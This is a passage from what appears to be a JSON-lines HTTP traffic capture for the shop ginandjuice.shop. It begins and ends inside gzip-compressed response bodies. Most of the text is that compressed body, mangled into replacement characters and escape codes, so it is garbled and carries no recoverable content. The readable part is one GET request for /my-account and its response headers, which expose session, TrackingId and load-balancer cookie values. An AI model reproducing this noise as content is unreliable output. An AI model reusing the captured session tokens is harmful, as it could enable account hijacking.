\ufffd\\ufffdN\\u0011\\r=\\ufffd.\\ufffd\\u001aC\\ufffdQH (OP\\ufffdp\\ufffd{\\ufffd\\ufffd\\u0013;$\\ufffd:\\u0018YZ\\ufffd\\u0016\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u003c\\ufffd9\\ufffd?\\ufffdB\\ufffd\\ufffd\\ufffddX\\u00106Cӂ%\\ufffd\\u000c\\u0002EWd\\ufffd\\ufffdFF\\u0003\\ufffdv\\ufffd}\\ufffd$!!\\u001a\\ufffd\\u000c\\t\\ufffd\\u000b\\ufffdL\\ufffd\\ufffd\\ufffd\\ufffd(Ow\\ufffd\\u000b)\\ufffdb\\ufffd\\ufffd\\ufffdQ\\ufffd/\\ufffd7\\u00120\\ufffdS\\\\\\u001dEj\\ufffd\\ufffdx\\u0012sP*\\u0010\\u0026ɤ\\ufffd%!\\ufffd\\ufffd_\\\\\\\\\\ufffd\\ufffdCn5̧\\ufffd\\ufffd\\ufffd\\u000b\\ufffd1\\u000c\\ufffdG\\u0007zt\\u003e\\u000c\\ufffdI}xcaq\\ufffdz\\u0016\\u001d\\ufffd\\u0017\\ufffd\\ufffd\\ufffd?G\\ufffd\\ufffd\\u0016\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdK\\ufffdx\\ufffd-\\u000fa\\ufffdG/zG\\ufffd/\\ufffd\\ufffdp\\ufffd\\u0005\\ufffd[\\ufffd?]\\ufffd\\ufffd!c\\ufffd\\ufffd\\ufffd\\ufffd^V\\ufffd2\\ufffd%\\ufffd \\u0007\\\"H\\r\\ufffd\\ufffdA\\ufffd\\ufffd\\ufffd\\u001b\\ufffd\\u0006\\r}\\u001b\\ufffdV\\u00084\\u0003\\ufffdF\\ufffd\\u001c\\ufffd\\ufffdHDD\\ufffd\\ufffd\\u0007Pi`\\ufffd\\ufffd8K\\ufffd\\u0002\\u0013\\ufffd\\ufffdݩ\\ufffd=\\ufffd\\ufffd{j\\ufffd^\\u0003\\ufffdTo=U\\ufffd\\u0014LaZ\\ufffd^\\u000e\\ufffd\\ufffdb=\\ufffd\\u0001\\ufffd\\u0001.W\\ufffd\\ufffdf|\\ufffd\\ufffdN\\ufffd\\ufffd\\u0005\\ufffd\\ufffd-\\u00037P\\ufffd`\\ufffd\\u0015\\ufffd\\ufffd5\\tn٦\\ufffdQ\\ufffd\\ufffdj\\ufffd\\\\:Q:a\\ufffd\\u0006+\\ufffd=GiFc\\ufffd\\ufffdt\\ufffd\\ufffdpoA2\\ufffdz\\ufffd\\ufffd\\ufffd\\ufffd[\\ufffd\\n!\\ufffd)h\\ufffdZ\\u000eh\\u0026\\u0006\\u003e\\ufffdfd\\u003c,\\u0002\\ufffd\\ufffd2e\\u0001\\ufffd1\\ufffd\\ufffd\\ufffdԍ\\u0014i{\\ufffd\\ufffdE\\u0016\\u001e\\ufffdBX\\ufffd\\ufffd\\ufffd#\\ufffd\\ufffdYG\\ufffd\\r\\ufffd\\ufffd=Z\\ufffd\\ufffd\\u0006y\\u0012\\u003e\\ufffd\\u0012\\ufffd \\ufffdE\\\"l\\n{A\\ufffd\\ufffd\\ufffd6!\\ufffdMoX\\u0014\\ufffd\\ufffdr\\u0012\\ufffd\\ufffd|:\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd7\\ufffd\\u0015\\ufffd}\\\"\\ufffd\\u0000g\\u003e\\ufffd\\u000f\\ufffd\\ufffdo c-,\\ufffd\\u0011W\\ufffd\\ufffd\\u0004\\u000b\\\"\\u0012|\\ufffd\\u0003\\ufffd\\u0005\\ufffd(\\ufffdz\\ufffd\\u0012\\ufffd\\ufffd\\ufffdJƛM\\ufffd\\u0017Co3vIѤ\\u0007\\ufffd\\ufffdv\\ufffd'\\u0008\\u001e\\ufffd\\ufffdU\\ufffdF\\ufffd\\ufffd=\\ufffdu\\ufffd\\u001f\\ufffdP\\ufffd\\ufffdD\\ufffd\\ufffd6\\u0019s\\ufffd\\u0007\\ufffdA\\u0000\\ufffd\\ufffd6\\u0002\\u0019\\ufffd\\u0003A\\ufffde\\ufffd\\ufffd\\ufffd)\\ufffd\\u0004ddu\\ufffd\\u0008kh\\u0010r\\ufffdV\\ufffd\\ufffd6\\u000f\\ufffd^\\ufffd\\ufffd\\ufffd\\u001c\\ufffd-\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdތ\\ufffd\\ufffdg\\ufffd\\ufffdT\\ufffdim\\u0000}\\ufffd\\ufffdzC\\ufffd5\\ufffd\\ufffdD\\ufffd\\ufffd\\ufffd\\ufffd|ei\\ufffd\\ufffd\\ufffd\\ufffd\\u0008\\ufffdJGK\\ufffd\\ufffd,;\\ufffdd\\ufffd\\ufffd\\t\\ufffd\\u0012\\ufffd\\ufffd\\u0004ª\\ufffdIG\\ufffd\\ufffdt[\\\\\\ufffdP\\ufffd\\ufffd\\ufffd\\ufffd\\\\\\ufffdq\\ufffdf\\ufffd\\u001e\\ufffdm\\ufffd\\ufffd\\ufffd[FS\\u0010\\ufffd\\ufffdx2Q\\ufffd\\t\\ufffdB7n%u\\ufffd\\ufffdKŻ\\ufffd \\ufffdo\\ufffd\\ufffd\\ufffd%6#\\ufffdeV\\ufffd\\\\K\\u0005\\ufffdM\\ufffdV\\ufffdT\\ufffdkle:\\u0006+\\ufffdj\\u001aO\\ufffd:O-st\\ufffd\\ufffd\\ufffd:\\u000b\\ufffd\\u001bo\\ufffd̝\\u0014\\u0004(\\ufffd\\u001erAB*E\\ufffdO\\ufffd\\ufffd\\t\\ufffd-)\\ufffd\\ufffdӄ@ؠ2VS6\\ufffd\\ufffd\\ufffd\\ufffdt\\ufffd_\\ufffd\\ufffdw\\ufffd\\ufffd\\ufffdg\\ufffd\\ufffd\\ufffd\\u0003}v\\ufffdσ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0001=\\ufffd\\u0005\\ufffd\\r\\u0007p\\ufffd\\ufffd\\u0006k\\ufffd\\ufffd5S\\ufffdf\\ufffdo\\u0005N\\ufffd1\\ufffd\\ufffd\\ufffd\\ufffdC\\ufffd\\ufffd\\u0018SV\\ufffdB\\ufffd\\u001bC@\\ufffd\\u003c\\ufffd\\u0016\\u001c\\u003c\\ufffd\\ufffd\\ufffdx蝝~\\u003cG\\ufffd\\u0026\\u0005J7\\ufffd\\ufffd\\u000c\\ufffd64\\ufffdL\\ufffdT\\\"\\ufffd^4I\\ufffdV\\ufffdȷ\\ufffdfP_\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd!I\\ufffd\\ufffdL%!4Ŭ  \\ufffd\\ufffd\\ufffd\\ufffd\\ufffd5/\\ufffdJ\\ufffd\\ufffdO\\ufffd\\ufffd\\ufffd\\ufffdn\\ufffd~(O\\ufffd\\u0008'\\u0013ym\\u0012Ѽ/9\\ufffdϋQLŋ\\ufffd;\\ufffd\\u003c\\ufffd\\ufffd\\ufffd\\ufffdK\\ufffd\\ufffd\\u0010֚UER\\u0019-\\ufffd\\ufffd\\ufffdQ]\\ufffd_\\ufffd\\u000cl\\ufffd\\ufffd\\u0007\\ufffd\\ufffd\\r,\\ufffd30\\ufffd\\ufffd7;\\u0003۴\\ufffdW\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd,\\ufffd3\\ufffdm\\ufffd\\ufffd\\u0019\\ufffdk\\ufffdw׺\\ufffd\\ufffd5\\ufffd\\ufffd\\ufffd\\u0008\\ufffd\\n\\ufffd\\ufffd\\ufffd\\ufffd\\u0005;p\\ufffd3\\u0004\\u0017,\\ufffd\\ufffd\\ufffd\\u0014\\\\\\ufffd\\u0005\\ufffd\\ufffd\\ufffd \\ufffdE\\ufffd\\ufffd:v\\ufffd\\ufffdI\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u000f\\ufffd\\ufffd)\\ufffd\\ufffd\\ufffd5-\\ufffd\\u000c\\ufffd\\ufffdC\\ufffdr\\ufffdnR\\ufffdJČ\\ufffd\\ufffd(d\\u003ee\\ufffd\\\\\\ufffd]\\u0005G\\rmw\\ufffd\\ufffd\\u0008\\ufffd\\ufffdu\\ufffd\\ufffd\\ufffd!\\ufffd\\ufffds/\\ufffd\\ufffd~_\\ufffd\\u0006\\ufffdB\\ufffd\\ufffd\\ufffdA\\tv\\ufffd\\ufffd%\\ufffd\\ufffdf\\ufffd\\ufffd\\u0026\\ufffdv\\ufffd%\\ufffd\\ufffdp[\\ufffd\\u0001\\ufffdjt\\ufffd\\ufffd\\ufffdg\\ufffd2\\ufffd,\\ufffdL2\\ufffdh\\ufffd\\ufffdsP\\ufffd7P\\ufffd\\rL,J\\u0017`UZ\\ufffd\\ufffd\\ufffd\\ufffd)SҔ\\ufffd\\u0011\\ufffd\\u0008U\\u0007\\r\\ufffd\\ufffd\\u0017)/\\ufffdM\\ufffd\\ufffd\\ufffd\\t\\u000b\\u0016g(c\\ufffdG\\ufffd\\ufffd\\ufffdj=\\ufffdO7\\r+\\ufffd\\u0006Ͷ\\ufffdj[\\ufffd;\\ufffd \\ufffd\\ufffd\\ufffd\\ufffdev\\ufffd^\\ufffd\\ufffd\\ufffd\\ufffd]0\\ufffd\\ufffd߲\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdߏ\\ufffd9\\ufffd\\ufffd\\ufffd =\\ufffdd\\\\\\ufffd-\\ufffd\\u000b\\u000e% \\u0011g\\ufffd|A\\ufffd\\u001b\\ufffdH3\\ufffd\\ufffd\\u0004\\ufffdw\\ufffd\\u0018\\ufffdm\\ufffdGiZZ\\u0018\\ufffd\\ufffd\\ufffd߅rifnNƦԬ\\u0002\\ufffd2\\ufffd\\ufffd\\ufffd\\ufffdX\\ufffd\\ufffdO$\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdɫ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdG\\ufffd\\ufffd?\\ufffd\\u001b\\ufffd\\ufffd\\ufffdͽ\\u003c99\\u003e\\u0008x\\ufffd\\ufffd5\\ufffd\\ufffd*\\ufffd\\ufffdIQ\\\"e\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdQwP\\ufffd\\ufffd\\ufffd~Ɯ\\u000bp=\\ufffd\\ufffd-\\ufffd\\ufffdP\\ufffd\\u0002Ư\\ufffd/\\ufffdn\\ufffd\\ufffdT/\\u000e\\u000cotr\\u001eP̎V\\ufffdMX\\ufffd\\ufffd\\ufffd\\ufffdǺ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd/\\ufffd\\ufffd-r\\ufffdfx\\ufffdY\\ufffd\\u0005J\\ufffdvo\\ufffdmK\\ufffdTD\\ufffd$\\ufffd/\\ufffd\\ufffd\\ufffdoD\\ufffdg\\ufffdp\\ufffd?\\ufffd4A\\ufffd\\ufffd\\ufffd_\\ufffd\\u0017\\ufffd\\ufffd\\u0016$\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 1806\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:34:39 GMT\\r\\nSet-Cookie: AWSALB=+OTzt/cHdN9mzp1pbOgaURPkES7i2qq1lhilq3fOQUe1jfh6+KYbRfxvolgT0DjiZvlhhdhoctO4ecMahMhz5hagBN8ye+HbQJnxFvNdj2yozEGUDHaWbKKErer+; Expires=Thu, 14 Sep 2023 15:34:39 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=+OTzt/cHdN9mzp1pbOgaURPkES7i2qq1lhilq3fOQUe1jfh6+KYbRfxvolgT0DjiZvlhhdhoctO4ecMahMhz5hagBN8ye+HbQJnxFvNdj2yozEGUDHaWbKKErer+; Expires=Thu, 14 Sep 2023 15:34:39 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:41+05:30\",\"url\":\"https://ginandjuice.shop/my-account\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=wrNhEoOD0CeeH8cagJk19XHRP32b6YM2; AWSALB=+n84438yZsDA5AHP8fkJy0HrFaX/8Yq0pknF0+7HT5H3HB2hEd3G3yvICmv5HTZkzoDUZB/b7S77KFxPM4mi7pHuQYLCafFCtH2zJrM/l9i9JIn+2wcdTRh/fxDy; AWSALBCORS=+n84438yZsDA5AHP8fkJy0HrFaX/8Yq0pknF0+7HT5H3HB2hEd3G3yvICmv5HTZkzoDUZB/b7S77KFxPM4mi7pHuQYLCafFCtH2zJrM/l9i9JIn+2wcdTRh/fxDy\",\"Referer\":\"https://ginandjuice.shop/catalog/cart\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/my-account\",\"scheme\":\"https\"},\"raw\":\"GET /my-account HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=wrNhEoOD0CeeH8cagJk19XHRP32b6YM2; AWSALB=+n84438yZsDA5AHP8fkJy0HrFaX/8Yq0pknF0+7HT5H3HB2hEd3G3yvICmv5HTZkzoDUZB/b7S77KFxPM4mi7pHuQYLCafFCtH2zJrM/l9i9JIn+2wcdTRh/fxDy; AWSALBCORS=+n84438yZsDA5AHP8fkJy0HrFaX/8Yq0pknF0+7HT5H3HB2hEd3G3yvICmv5HTZkzoDUZB/b7S77KFxPM4mi7pHuQYLCafFCtH2zJrM/l9i9JIn+2wcdTRh/fxDy\\r\\nReferer: https://ginandjuice.shop/catalog/cart\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Cache-Control\":\"no-cache\",\"Content-Encoding\":\"gzip\",\"Content-Length\":\"2094\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:34:41 GMT\",\"Set-Cookie\":\"AWSALB=W++/+JQbTxiN/OHBUJnq0z7nTriL7qXmdSqtD8FuMwXVMB+DdSW4k3k6e2NDavgrFaNmXo7qvphCRsGZUXDaguARWYOYLs5NMs+ZFvg0Q1fcK87mjQYc3/zgcDdq; Expires=Thu, 14 Sep 2023 15:34:41 GMT; Path=/, AWSALBCORS=W++/+JQbTxiN/OHBUJnq0z7nTriL7qXmdSqtD8FuMwXVMB+DdSW4k3k6e2NDavgrFaNmXo7qvphCRsGZUXDaguARWYOYLs5NMs+ZFvg0Q1fcK87mjQYc3/zgcDdq; Expires=Thu, 14 Sep 2023 15:34:41 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffd[\\ufffdr۸\\u0011\\ufffd~O\\ufffdc\\ufffd8\\ufffd\\tEQr\\ufffdg\\\"i\\u0026\\ufffd\\ufffd|s\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdn\\ufffd/\\u0019\\u0008\\ufffd$\\ufffd \\ufffd\\u0012\\ufffddާ\\ufffdF\\u001f\\ufffd\\ufffd\\ufffdG\\ufffd\\ufffdt\\u0001P2%\\ufffd\\\"\\u0015\\ufffd\\ufffd\\ufffd O\\u0026\\u0016\\ufffd\\ufffd\\u000f\\ufffd\\ufffd\\ufffd\\u000f\\u000bq=\\ufffd\\ufffd\\ufffd닟\\ufffd\\ufffd\\ufffd\\u0003\\ufffd阏\\ufffd\\u0019\\ufffd_\\u0008~\\u00063\\ufffd#\\ufffd\\ufffd\\u003er\\u0026\\ufffd\\ufffd,\\ufffd\\ufffda\\ufffdR%\\ufffd\\ufffdP\\u0015p\\u003c6b4\\r\\ufffdR\\ufffd\\\"X\\ufffdD\\ufffd\\r\\u001dh@)\\ufffdC\\ufffdsNՌR\\ufffd\\u0004f \\u0000P\\ufffd\\u0000LLw\\u0003\\ufffdTc$pL\\ufffdޜ\\ufffdE\\\"S\\ufffd!\\\"\\ufffd\\ufffdB\\u000f\\ufffd\\u0005\\ufffd\\ufffdl\\u0018\\ufffd9#Է\\u000f\\ufffdQ\\ufffdhꃆ0\\u0003\\ufffdC!\\ufffd\\u0012\\ufffd\\\")K4R)\\u0019z%\\ufffdn\\u0015\\u003c`\\ufffd;\\ufffdD\\ufffdLb\\u0000\\ufffd\\ufffd*o4\\u0008܈\\ufffd\\u0010~$\\ufffd=`t\\ufffd\\ufffd\\ufffd4\\ufffd\\ufffd\\ufffd-\\ufffdc\\ufffd\\ufffdU\\ufffdc1\\ufffd8N?\\ufffd\\ufffd\\ufffdZ\\ufffd\\ufffd\\ufffd\\ufffdt\\ufffdS\\ufffd0!2\\u0013\\u001a\\ufffd\\ufffd\\ufffd\\t\\ufffd\\u0002\\ufffd\\ufffd[\\ufffdc\\u0006VB73\\ufffd\\u000c\\u0002'\\ufffd\\ufffd?xp\\ufffd\\ufffdXF9\\u0012S\\u001f'I\\t6bsĢ\\ufffdW\\ufffd\\ufffd\\ufffdY݂(\\ufffdL\\nD8Vj\\ufffd9o\\ufffd#\\ufffdt\\ufffd\\ufffd\\ufffd\\u0001vP\\ufffd\\ufffdf~~\\ufffd1\\ufffd\\ufffd\\u001fF\\u0011\\ufffdlLS\\ufffd)\\ufffd\\ufffd\\u003c\\ufffd\\u0002\\u003eö\\ufffd\\u0005\\u001d#Б3\\ufffd\\ufffd\\ufffd0\\u000f\\ufffd\\n\\u001a\\ufffd\\ufffdL\\ufffd\\ufffdJ315B/\\ufffdX%o\\ufffd\\u0003\\u0019g:wMf)Ц:\\ufffd\\n\\u000cT\\ufffdWK1\\u003e\\ufffd!)b\\t\\ufffd\\u0005[JS\\ufffdx\\\"\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd!\\u001a\\ufffdp\\ufffd-\\ufffd뽽\\ufffd\\ufffd\\u0018\\ufffd˽}׻\\ufffd\\ufffdVQ\\ufffd\\u003e^\\u001b\\ufffd%C\\ufffdM\\ufffd\\ufffd\\ufffd\\ufffd/^\\ufffd\\ufffd\\\\k\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdW\\ufffd\\ufffd\\ufffdZC\\ufffd\\ufffd\\u001c\\ufffd\\u003c\\ufffd\\ufffd\\ufffdG8\\ufffd|\\ufffdI\\ufffd=ÿ\\ufffd'\\ufffd%\\ufffdd1\\u001c\\u001e\\ufffdZ\\ufffd\\ufffd)6:\\ufffd\\u003ePMKp\\ufffd[\\ufffd\\ufffd֫h\\ufffdW\\ufffd\\u001d{\\ufffdO\\ufffdF987*\\ufffd\\u0001i\\ufffd\\ufffd\\ufffdڭ\\ufffd\\u0016\\u001c\\u001b\\ufffd_\\ufffd.\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd󺝾x\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0002ָ\\ufffd\\u00135Ă\\u0019\\ufffdU\\ufffd\\ufffd\\u0000;.;\\n*`*\\ufffd\\ufffd%8\\ufffd˩\\ufffdh\\ufffd\\ufffd\\u001a\\ufffd\\u0000\\ufffdt\\u003c@ـ\\ufffd\\u001b\\ufffd\\ufffdc\\u0004\\ufffd\\ufffdf%\\ufffd\\ufffd\\ufffdk\\ufffd,\\ufffdZ\\ufffd\\ufffd\\ufffd\\ufffd5ήP\\ufffd\\ufffd\\u0018\\ufffd\\ufffd{\\ufffd\\u0008\\ufffd-HΚ\\ufffd\\ufffd ^N=δ\\u0006Rp\\u0006\\ufffd\\u0002\\ufffdL\\u000cv\\u0002\\ufffdHe\\ufffd\\u0011\\ufffdj\\ufffd\\ufffd\\u0006\\u0017\\ufffd\\ufffd\\ufffd\\ufffdڍ\\ufffdj\\ufffd\\ufffd\\ufffd?\\ufffdZx,3퍮M\\u001ci\\ufffd\\ufffdO\\ufffd\\ufffd \\ufffd\\ufffd\\ufffd]\\u0008bP\\ufffd\\ufffdwv\\ufffd\\ufffd\\ufffd\\ufffd\\u0019\\ufffd\\u0005\\u0007\\ufffd\\ufffd\\ufffd)\\ufffd|8\\ufffd\\u000cs\\u0011M\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd/\\ufffd\\ufffd\\ufffdT\\ufffd\\ufffdh\\u0000\\ufffd\\ufffd\\ufffd|8i\\ufffd\\ufffd\\ufffd\\ufffd\\u0017\\u0000.\\ufffd; \\ufffd\\ufffd\\ufffdL\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u000068\\ufffd`dFɝOXJ8\\ufffd`\\ufffd\\ufffd\\r\\ufffd6;X\\ufffd@;\\ufffd\\ufffd,\\ufffdm\\ufffd\\r\\ufffd3Tf\\\\\\\"\\ufffd\\ufffdZ]\\u000b\\ufffd**\\ufffd^\\ufffd\\ufffd\\ufffd?\\ufffdF\\ufffd\\ufffd\\ufffdͱ\\ufffd\\u001e\\ufffd\\u000b\\u0002\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\rb\\rL\\ufffd\\ufffd|s\\ufffd\\ufffd\\ufffd\\t\\ufffd2\\u000e\\ufffdP\\ufffd\\ufffd+\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdK\\ufffd\\ufffdk\\ufffdg\\u001b\\\"x\\ufffd5e\\u0010\\ufffd\\ufffdr5\\ufffd\\ufffd\\ufffd\\u003e\\ufffd~\\ufffde\\ufffdAP{\\ufffd֜\\ufffd\\u0015\\ufffd\\u0015\\ufffdʆ\\ufffd=\\ufffd!\\u00112\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd̵cH\\tV\\ufffdAU\\ufffd\\ufffd\\ufffdFx+9C\\ufffd\\t\\ufffdq\\r1\\u000f\\u001c\\ufffd\\ufffd\\ufffd.5\\ufffd\\u0014\\ufffdv\\ufffd\\ufffdu\\u0003\\u0003\\ufffd]\\u0007\\u001b\\ufffd\\u0018|\\ufffd\\ufffdAx\\ufffd\\ufffd|\\ufffdʱ\\ufffd\\ufffd\\ufffdƷc6l\\\"Ss\\u0014\\ufffd=\\ufffd\\r\\ufffdO\\ufffd\\u003en\\u001c\\ufffd4nsb\\ufffdx\\ufffd1Є\\ufffd\\ufffd\\ufffdf\\u001f\\u0002\\ufffd\\u0004\\u0006\\ufffd\\ufffdk\\ufffd\\ufffdX\\u003c\\ufffd \\ufffd҄\\ufffd\\ufffd3\\ufffd;\\ufffd\\ufffd\\ufffd\\ufffdt[[1\\ufffd-\\u0006\\ufffd\\ufffd\\ufffd\\u003e\\ufffd\\ufffdfF\\ufffd\\u0003\\ufffd\\ufffdr\\u0008{\\ufffdo9v\\ufffd\\u003e-$\\ufffd\\u0004\\ufffd\\ufffd\\ufffda\\ufffd\\ufffd\\ufffdv\\u0007\\ufffd\\ufffd%̖\\ufffd\\u0011\\ufffd\\ufffd\\u0019o\\ufffd\\\"\\ufffd0l\\\\_\\ufffd\\ufffdH\\ufffd\\u000e\\ufffd\\ufffd\\ufffd\\u001c\\ufffd\\ufffd\\ufffdu\\u0017\\ufffd60\\u0011\\ufffd1\\ufffdY\\u0010\\ufffd\\u0006\\ufffdn\\ufffd\\ufffdEH\\ufffdx\\ufffdpӤ\\ufffd[\\ufffd\\ufffdXg\\ufffd\\ufffd\\ufffd\\ufffd\\u0019\\ufffd\\ufffd\\ufffd\\u0012\\ufffd\\ufffdds%\\ufffd[\\u0026\\ufffd9n\\u001e\\ufffd\\ufffd\\ufffd\\ufffdn\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd|\\ufffd\\ufffd\\ufffd\\ufffd\\ufffde\\ufffdV6ii\\ufffd\\u0016\\u001a\\ufffd\\u0011\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd}m\\ufffd\\ufffd^\\ufffd\\ufffd\\u0000\\ufffd\\u003e\\ufffd/\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdק\\ufffd\\ufffd\\ufffd\\u0013\\ufffdE\\ufffd\\ufffd@\\u0017%\\ufffd\\u0003]쵠g\\ufffd\\ufffd\\ufffd\\ufffd\\\\|\\ufffd}\\ufffd1\\ufffd\\ufffd\\ufffd\\ufffd\\u001c\\ufffd\\ufffd\\ufffdtq\\ufffd뜞u\\ufffd81:\\u003c\\ufffd. \\ufffd89\\ufffdEI\\ufffd@\\u0017{-\\ufffd\\u0019\\ufffd\\ufffd\\ufffd\\ufffd؂㘉\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdB\\ufffd;\\u0013\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd'`\\ufffd\\ufffd\\ufffd\\ufffdY\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\t\\ufffd#\\u003c\\u003e0GI\\ufffd\\ufffd\\u001c{-\\ufffdp/)\\u000f\\ufffdC\\ufffdKN\\ufffd\\ufffdO@\\u0017\\ufffd\\ufffd\\u0003]\\ufffdd\\u000ftQ\\ufffd]\\ufffd\\u0006\\ufffdat\\ufffd\\ufffd\\ufffdms\\ufffdX\\u0013)5Xk\\ufffd\\ufffd$\\ufffd\\ufffd\\ufffdz\\ufffd;\\\\7\\ufffd\\ufffd{\\ufffdmdN'\\ufffd\\u0015ǎ\\u0017\\ufffd\\ufffdc\\ufffd-\\ufffd\\ufffda\\ufffd\\ufffd\\ufffd7\\ufffd\\ufffd\\ufffd+(fʕ\\ufffd`\\ufffd|\\ufffd\\ufffd\\ufffd)m\\u0019S\\ufffd\\ufffd\\u0005\\ufffdOo\\u0007D2\\ufffdQ2\\ufffdL\\ufffd\\ufffdB\\ufffd\\u003cZ\\ufffd\\ufffd\\\"\\\"\\ufffd8\\u0013L\\ufffdHN\\ufffd\\u0014\\ufffd\\ufffd\\ufffdЭ%\\ufffd\\t\\u0016X3\\ufffd^\\ufffdr\\u0016zOx\\ufffd\\ufffd1\\ufffd\\ufffd\\u000b\\ufffd\\ufffd\\u0003\\ufffd\\ufffd\\ufffdJXm@\\u000ezL\\r\\u0015Ő8\\ufffd\\u0006h\\ufffd\\ufffdX\\ufffd\\ufffd\\ufffdzx6ȱLig\\ufffd\\ufffdb\\ufffd\\ufffd\\u000f\\ufffdMG\\ufffd\\ufffdG\\ufffd\\ufffd^\\ufffdE\\ufffdV\\u001dU\\ufffd\\u001eU\\ufffd\\ufffd\\u0016\\r-\\ufffdz\\u000f\\ufffdOc\\ufffd0\\u0015\\ufffdc\\ufffdg\\u0012\\ufffd\\u0012\\ufffdtф\\ufffd\\u000f\\ufffd\\ufffd\\\\=\\u00004\\ufffd:\\u0013I\\ufffd\\ufffd\\u000c\\ufffd\\ufffd\\u0018Đ\\ufffd\\ufffd\\ufffd\\ufffdI)m\\u0001\\ufffd\\ufffd\\ufffdpL\\ufffdL\\ufffd\\ufffd\\u0014\\ufffd|\\ufffdM8\\ufffd`\\ufffdM\\u0001\\\\\\t\\ufffd\\ufffdX\\u0014Q\\ufffd\\u0015%jD\\ufffd\\u0013\\u000f\\ufffd1\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdn\\u003c\\u0017\\ufffd/\\ufffd\\ufffd]\\ufffdO~\\ufffd=\\ufffd\\ufffd}\\ufffdk\\ufffd\\ufffd\\ufffd\\ufffd~k:\\ufffd\\u0006\\ufffd5\\ufffd\\ufffdKM;-\\ufffd$fzt\\ufffd\\ufffd\\u000c\\ufffdZ\\ufffd{W\\ufffd\\ufffd恈\\u0019[\\ufffd\